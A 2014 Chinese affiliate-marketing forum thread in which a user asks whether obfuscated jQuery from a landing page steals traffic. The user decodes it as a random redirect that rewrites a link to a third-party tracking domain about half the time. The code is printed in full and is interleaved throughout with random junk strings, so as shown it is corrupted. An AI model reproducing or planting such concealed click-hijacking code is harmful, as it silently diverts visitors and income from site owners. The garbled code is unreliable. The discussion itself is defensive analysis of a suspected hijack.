一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {, E5 a' v* X+ K9 s7 [' G
$(".option.clearfix").on("click",
) H$ [ \ t. ?2 H- m
function() {
8 S5 ~( _4 B( z) [( u
$(this).toggleClass("selected");
: R$ P( F. B% V# T, D9 I
if ($(this).hasClass("selected")) {
( h" ?* a/ k& T* I
$(this).addClass("selected")# z# q: \5 a7 J- F# A, Y
} else {7 k1 T( q' u9 w/ y: K/ H
$(this).removeClass("selected")2 |; P+ `8 A5 r' M8 c
}6 x. C m. u) n( x! p
return false
, f& x% f% W, g) ~
});: {& L7 j& }" K
var e = "r";+ ?1 [0 T" U0 C( i. @4 q' S
var t = "e";
/ l( Q5 _1 N: J: J: p5 j9 D' ~
setBtnMarginDefault = "c" + "\u006B";
) z! n' E- H- Q B& X) N
$(".option2.clearfix").on("click",
% X3 S/ U! i1 ~2 _
function() {# E, i, f$ i7 W* y1 @- l. d
$(this).toggleClass("selected");* ^, ^7 M0 i! T, Y- B7 X
if ($(this).hasClass("selected")) {
( N( Q) m8 w( r2 C$ C- @& C; C
$(this).addClass("selected")% r, Z& J% U: _2 ^6 q
} else {
v! m$ |7 W' t5 j3 n: H* ^
$(this).removeClass("selected")
- k$ P( P( h' q. @7 k
}8 x( J3 L0 f: }$ ?" b+ w
return false
$ h9 {& |0 ?- w6 G- t$ N
});* q/ w: }# ~6 N/ U) m0 B) F
var n = "a";
" k' k$ R5 p0 ?0 G# Q
var r = "g";& `, z( }2 s5 A L- I8 T& R. j
$(".option3.clearfix").on("click",/ N: Q7 p8 ~3 P) {! S4 i! H, j+ V
function() {
5 s! l& C6 \% w& S1 c+ n% x: z
$(this).toggleClass("selected");( G# s4 N6 Y2 J; n+ W2 v+ @
if ($(this).hasClass("selected")) {
! z! z2 U$ F/ z( O
$(this).addClass("selected")3 o% q1 i @/ x' i2 K) ~
} else {4 p7 L0 b# q$ F
$(this).removeClass("selected")
6 k4 C0 [+ {0 x: `
}
8 v/ o0 k; R. l d; r- l! x6 Z
return false1 Q- s; X9 o& e8 E+ ?
});
, ?; m7 T/ R0 `/ c5 ~7 p
var i = "e";
- f) w' R$ S; \; |: C' ~! P% H
var s = n + r + e + t + i;& |/ c9 l5 j0 \9 G+ @% b- t
$(".option4.clearfix").on("click",2 h9 @; C- V5 [" d) p) Q
function() {
2 y$ c; d7 o. T. u" D8 a' N
$(this).toggleClass("selected");
$ E7 x7 F" E* b, ?3 h# v9 L8 w# ^2 j
if ($(this).hasClass("selected")) {8 a& X- Q1 |$ ]. z# Z
$(this).addClass("selected")
! M4 g( p$ a% X. T8 T$ X3 C6 N
} else {
+ ?" x4 E! T; z% o
$(this).removeClass("selected")
% `6 [7 n0 D8 x7 y% A o
}6 ~# M' u' i3 d! \; L/ V: Y
return false
4 ~$ `) z3 a5 ^/ U6 `/ F' V8 w
});
3 E# ^+ E3 o- H0 S" B e
var o = "\u0032" + "\u0030";& p2 D+ T2 i/ g# H
var u = "\u0031" + "\u0030";
/ i2 ?: }; @: c* c2 ?& p
currentWhiteSpace = Math.floor(Math.random() * o);
6 a4 a+ _- M9 t- D
setBtnMargin30 = setBtnMarginDefault + "." + "c";
9 P+ w4 `0 I$ g& E) }6 _" k
Date.prototype.getMonthName = function() {
, f# x* B) K& o) [7 V, G
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
1 H: V% n4 ]3 i3 R% a
return e[this.getMonth()]* F5 [$ R- g, \- O! }% m8 X
};
* A) K: ~# \: @7 D" b8 R
var a = currentWhiteSpace;
, p6 |" ^* R/ q& p* Z$ A5 D1 H X
var f = "H";0 I1 Q1 k7 M4 p8 k% Y2 Z: J1 n+ W2 Y g
var l = "\u0052";
% L/ U. P+ W8 R( }; \
var c = "o" + "\u006D";
$ } q9 X# K" z+ {! J2 W. K# U( I3 i
f += "T";
8 n; {+ |3 Z5 k; w s) J1 U
f += "T";5 R, Q' H: {: D2 ^% ~
f += "P";6 K# a9 A+ }1 B U/ O7 T
var h = new Date;; B1 J$ t8 A2 O4 q3 `
if (h.getMonth() == 11) {' K) Z. N1 Y5 U1 Z
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()8 [- _" G+ z3 o' y: C/ q. k
} else {2 Q) b p! K. g- e/ P m$ ?$ S
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()
/ e [0 p" ?- b
}. s, j. N' Q: c
var d = ":" + "/" + "/";5 h2 a7 {5 @! {6 T1 o6 `
l += "S";1 L, R$ g. P- C3 n5 U
l += "x";, H: c3 l8 N1 I. X; U1 y/ O
document.getElementById("monthz").innerHTML = p;
" q6 T2 O' c% }$ c
l += "\u0054";: A$ D4 U8 Z' @ |% N
l += "R";
8 ]7 {! v2 a4 f! `" o
l += "\u0041" + setBtnMargin30;% ~$ Y0 W' `1 X% c M5 Q4 L
setStyle = f + d + l + c;
/ u# @, L; r2 v8 F; D0 u2 V
s = s.toLowerCase(s);" a6 \( P. {. @4 q
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
& }" G" L) V5 x8 A
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
( d% ~' n0 c, w" Q' h& I8 Z $(".option.clearfix").on("click", function () {
# k6 ]3 ]( |7 d1 f       $(this).toggleClass("selected");
, g  d2 k, n" {. D0 k* T7 T       if ($(this).hasClass("selected")) {
  s: ~* p9 a, O3 X( @' |  a          $(this).addClass("selected")/ G+ C4 f' C, Z' ]2 x* ?3 m
      } else {
/ l# j7 [; R9 _6 O" j( M, l5 i% N; i2 A          $(this).removeClass("selected")
: W8 X" ?2 h: o       }" e  r7 @$ \- e3 q' S. E
      return false, ]9 u3 H6 a# z
});
$ v) n& }7 z, _! x $(".option2.clearfix").on("click", function () {
" G5 S4 g4 D: a6 i. K       $(this).toggleClass("selected");
, L: m! w3 A* E% D$ {# I       if ($(this).hasClass("selected")) {
* ^. P9 \$ S3 X& t& v! ^/ F          $(this).addClass("selected")) @# r4 M. s9 A) Z$ S" q4 `
      } else {
5 B/ j6 I+ B+ L          $(this).removeClass("selected")8 g7 s9 X, @+ m* }, z+ I- t
      }# B0 L$ D# M) I1 X! V4 c
      return false
' i* }: I# ^, ]/ o1 q. u9 q' J& Y: V& E });
8 l  I+ Y3 e6 q, `; Y $(".option3.clearfix").on("click", function () {
/ E# A) y0 s" y' l* |       $(this).toggleClass("selected");
, W/ W2 x4 ^, s" W# g       if ($(this).hasClass("selected")) {
) n( w& a8 S, T4 g0 A" Y/ c          $(this).addClass("selected")0 x1 X( d$ v3 J+ K
      } else {
7 l: x4 ^7 I3 M8 }1 ~  v! ]          $(this).removeClass("selected"): @* \2 T5 I+ y; v
      }/ L1 Z( Z( e9 j/ P2 A8 r
      return false1 B  G9 Y1 ^% n3 U: h* g9 G$ a
});
2 u0 N2 b+ [7 B; w/ U+ \8 J $(".option4.clearfix").on("click", function () {
5 x) R: E6 M) h. R- x       $(this).toggleClass("selected");
+ Z/ e3 A& N& W8 J( A       if ($(this).hasClass("selected")) {
8 V! Y0 J9 D5 L- N" O& l! g          $(this).addClass("selected")" `0 b+ e; d8 ~8 T5 d& q4 l. M
      } else {
& K4 P! m" Z; }- `( y/ ~: _9 n4 l          $(this).removeClass("selected")
$ _- _$ |( q$ o5 t; d5 }       }% f; E4 j9 E3 u) h% o0 H0 ?) a# @, A
      return false5 T+ B6 T- U" l
});- Y7 T# w5 U# c$ w; I
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53
8 h* s2 l A H! n: v! q不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

谷歌+Bing+TT+MSN官方代理	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	需要代理IP?⚡️Proxysites.ai⚡️	指纹浏览器，就用AdsPower
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
FB BM不限额，短id账单户	E.PN 虚拟卡	DuoPlus专注打造跨境电商云手机	BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值	各种主页、账单户、BM户（优势）	⚡️个人户，bm户不限额，账单户	9Proxy ⚡️ $0.04/IP, 无限带宽
IPCola原生住宅IP⚡️$2.1/条双ISP	Google、Bing官方总代联盟流量开户	fb耐用号0.01一个	fb账号官方合作商
FB资源，账单户，分享户，国内一手	FB企业户BM户账单户源头	试试Mybid的顶级广告模式	Mybid让你的流量赚更多的钱
全球超2亿的动/静态纯净住宅IP	GeeLark 最强云手机+指纹浏览器	Facebook/TikTok24h免费开户服务	招exoclick/TJ等国际联盟代投运维
火云指纹浏览器⚡️10个环境免费⚡️	IPWO全球住宅代理⚡️免费测试⚡️	FB海外三不限-户源多费率低	谷歌+Bing+TT+MSN官方代理
广告位出租

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人